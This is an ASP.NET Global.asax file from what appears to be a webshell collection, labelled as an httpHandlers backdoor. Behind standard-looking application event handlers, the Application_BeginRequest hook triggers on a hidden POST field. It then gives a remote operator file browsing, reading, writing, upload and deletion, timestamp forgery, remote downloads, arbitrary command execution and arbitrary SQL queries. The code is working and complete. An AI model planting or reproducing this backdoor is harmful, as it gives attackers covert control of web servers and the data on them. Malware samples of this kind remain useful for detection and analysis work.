webshell/aspx/httpHandlers_backdoor/global.asax
2015-06-16 11:59:25 +08:00

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<%@ Application Language="C#" %>
<script RunAt='server'>
void Application_Start(object sender, EventArgs e)
{
//在应用程序启动时运行的代码
}
void Application_End(object sender, EventArgs e)
{
//在应用程序关闭时运行的代码
}
void Application_Error(object sender, EventArgs e)
{
}
void Session_Start(object sender, EventArgs e)
{
//在新会话启动时运行的代码
}
void Session_End(object sender, EventArgs e)
{
//在会话结束时运行的代码。
// 注意: 只有在 Web.config 文件中的 sessionstate 模式设置为
// InProc 时,才会引发 Session_End 事件。如果会话模式
//设置为 StateServer 或 SQLServer则不会引发该事件。
}
void CP(string S, string D)
{
if (System.IO.Directory.Exists(S))
{
System.IO.DirectoryInfo m = new System.IO.DirectoryInfo(S);
System.IO.Directory.CreateDirectory(D);
foreach (System.IO.FileInfo F in m.GetFiles())
{
System.IO.File.Copy(S + "\\" + F.Name, D + "\\" + F.Name);
}
foreach (System.IO.DirectoryInfo F in m.GetDirectories())
{
CP(S + "\\" + F.Name, D + "\\" + F.Name);
}
}
else
{
System.IO.File.Copy(S, D);
}
}
void EvalRequest(string action)
{
HttpContext context = HttpContext.Current;
HttpRequest request = context.Request;
HttpResponse response = context.Response;
string Z = action;
if (Z != "")
{
string Z1 = request.Form["Z1"];
string Z2 = request.Form["Z2"];
string R = "";
try
{
switch (Z)
{
case "A":
{
string[] c = System.IO.Directory.GetLogicalDrives();
R = string.Format("{0}\t", context.Server.MapPath("~"));
for (int i = 0; i < c.Length; i++)
R += c[i][0] + ":";
break;
}
case "B":
{
System.IO.DirectoryInfo m = new System.IO.DirectoryInfo(Z1);
foreach (System.IO.DirectoryInfo D in m.GetDirectories())
{
R += string.Format("{0}/\t{1}\t0\t-\n", D.Name, System.IO.File.GetLastWriteTime(Z1 + D.Name).ToString("yyyy-MM-dd hh:mm:ss"));
}
foreach (System.IO.FileInfo D in m.GetFiles())
{
R += string.Format("{0}\t{1}\t{2}\t-\n", D.Name, System.IO.File.GetLastWriteTime(Z1 + D.Name).ToString("yyyy-MM-dd hh:mm:ss"), D.Length);
}
break;
}
case "C":
{
System.IO.StreamReader m = new System.IO.StreamReader(Z1, Encoding.Default);
R = m.ReadToEnd();
m.Close();
break;
}
case "D":
{
System.IO.StreamWriter m = new System.IO.StreamWriter(Z1, false, Encoding.Default);
m.Write(Z2);
R = "1";
m.Close();
break;
}
case "E":
{
if (System.IO.Directory.Exists(Z1))
System.IO.Directory.Delete(Z1, true);
else
System.IO.File.Delete(Z1);
R = "1";
break;
}
case "F":
{
response.Clear();
response.Write("\x2D\x3E\x7C");
response.WriteFile(Z1);
response.Write("\x7C\x3C\x2D");
goto End;
}
case "G":
{
byte[] B = new byte[Z2.Length / 2];
for (int i = 0; i < Z2.Length; i += 2)
{
B[i / 2] = (byte)Convert.ToInt32(Z2.Substring(i, 2), 16);
}
System.IO.FileStream fs = new System.IO.FileStream(Z1, System.IO.FileMode.Create);
fs.Write(B, 0, B.Length);
fs.Close();
R = "1";
break;
}
case "H":
{
CP(Z1, Z2);
R = "1";
break;
}
case "I":
{
if (System.IO.Directory.Exists(Z1))
{
System.IO.Directory.Move(Z1, Z2);
}
else
{
System.IO.File.Move(Z1, Z2);
}
break;
}
case "J":
{
System.IO.Directory.CreateDirectory(Z1);
R = "1";
break;
}
case "K":
{
DateTime TM = Convert.ToDateTime(Z2);
if (System.IO.Directory.Exists(Z1))
{
System.IO.Directory.SetCreationTime(Z1, TM);
System.IO.Directory.SetLastWriteTime(Z1, TM);
System.IO.Directory.SetLastAccessTime(Z1, TM);
}
else
{
System.IO.File.SetCreationTime(Z1, TM);
System.IO.File.SetLastWriteTime(Z1, TM);
System.IO.File.SetLastAccessTime(Z1, TM);
}
R = "1";
break;
}
case "L":
{
System.Net.HttpWebRequest RQ = (System.Net.HttpWebRequest)System.Net.WebRequest.Create(new Uri(Z1));
RQ.Method = "GET";
RQ.ContentType = "application/x-www-form-urlencoded";
System.Net.HttpWebResponse WB = (System.Net.HttpWebResponse)RQ.GetResponse();
System.IO.Stream WF = WB.GetResponseStream();
System.IO.FileStream FS = new System.IO.FileStream(Z2, System.IO.FileMode.Create, System.IO.FileAccess.Write);
int i;
byte[] buffer = new byte[1024];
while (true)
{
i = WF.Read(buffer, 0, buffer.Length);
if (i < 1) break; FS.Write(buffer, 0, i);
}
WF.Close();
WB.Close();
FS.Close();
R = "1";
break;
}
case "M":
{
System.Diagnostics.ProcessStartInfo c = new System.Diagnostics.ProcessStartInfo(Z1.Substring(2));
System.Diagnostics.Process e = new System.Diagnostics.Process();
System.IO.StreamReader OT, ER;
c.UseShellExecute = false;
c.RedirectStandardOutput = true;
c.RedirectStandardError = true;
e.StartInfo = c;
c.Arguments = string.Format("{0} {1}", Z1.Substring(0, 2), Z2);
e.Start(); OT = e.StandardOutput;
ER = e.StandardError;
e.Close();
R = OT.ReadToEnd() + ER.ReadToEnd();
break;
}
case "N":
{
String strDat = Z1.ToUpper();
System.Data.SqlClient.SqlConnection Conn = new System.Data.SqlClient.SqlConnection(Z1);
Conn.Open();
R = Conn.Database + "\t";
Conn.Close(); break;
}
case "O":
{
String[] x = Z1.Replace("\r", "").Split('\n');
String strConn = x[0], strDb = x[1];
System.Data.SqlClient.SqlConnection Conn = new System.Data.SqlClient.SqlConnection(strConn);
Conn.Open();
System.Data.DataTable dt = Conn.GetSchema("Columns");
Conn.Close();
for (int i = 0; i < dt.Rows.Count; i++)
{
R += String.Format("{0}\t", dt.Rows[i][2].ToString());
}
break;
}
case "P":
{
String[] x = Z1.Replace("\r", "").Split('\n'), p = new String[4];
String strConn = x[0], strDb = x[1], strTable = x[2]; p[0] = strDb;
p[2] = strTable;
System.Data.SqlClient.SqlConnection Conn = new System.Data.SqlClient.SqlConnection(strConn);
Conn.Open();
System.Data.DataTable dt = Conn.GetSchema("Columns", p);
Conn.Close();
for (int i = 0; i < dt.Rows.Count; i++)
{
R += String.Format("{0} ({1})\t", dt.Rows[i][3].ToString(), dt.Rows[i][7].ToString());
}
break;
}
case "Q":
{
String[] x = Z1.Replace("\r", "").Split('\n');
String strDat, strConn = x[0], strDb = x[1];
int i, c;
strDat = Z2.ToUpper();
System.Data.SqlClient.SqlConnection Conn = new System.Data.SqlClient.SqlConnection(strConn);
Conn.Open();
if (strDat.IndexOf("SELECT ") == 0 || strDat.IndexOf("EXEC ") == 0 || strDat.IndexOf("DECLARE ") == 0)
{
System.Data.SqlClient.SqlDataAdapter OD = new System.Data.SqlClient.SqlDataAdapter(Z2, Conn);
System.Data.DataSet ds = new System.Data.DataSet();
OD.Fill(ds);
if (ds.Tables.Count > 0)
{
System.Data.DataRowCollection rows = ds.Tables[0].Rows;
for (c = 0; c < ds.Tables[0].Columns.Count; c++)
{
R += String.Format("{0}\t|\t", ds.Tables[0].Columns[c].ColumnName.ToString());
}
R += "\r\n";
for (i = 0; i < rows.Count; i++)
{
for (c = 0; c < ds.Tables[0].Columns.Count; c++)
{
R += String.Format("{0}\t|\t", rows[i][c].ToString());
}
R += "\r\n";
}
}
ds.Clear();
ds.Dispose();
}
else
{
System.Data.SqlClient.SqlCommand cm = Conn.CreateCommand();
cm.CommandText = Z2;
cm.ExecuteNonQuery();
R = "Result\t|\t\r\nExecute Successfully!\t|\t\r\n";
}
Conn.Close();
break;
}
default:
goto End;
}
}
catch (Exception E)
{
R = "ERROR:// " + E.Message;
}
response.Write("\x2D\x3E\x7C" + R + "\x7C\x3C\x2D");
End: ;
}
}
//在接收到一个应用程序请求时触发。对于一个请求来说它是第一个被触发的事件请求一般是用户输入的一个页面请求URL
void Application_BeginRequest(object sender, EventArgs evt)
{
string action = Request.Form["023"];
if (action != null)
{
EvalRequest(action);
Response.End();
}
}
</script>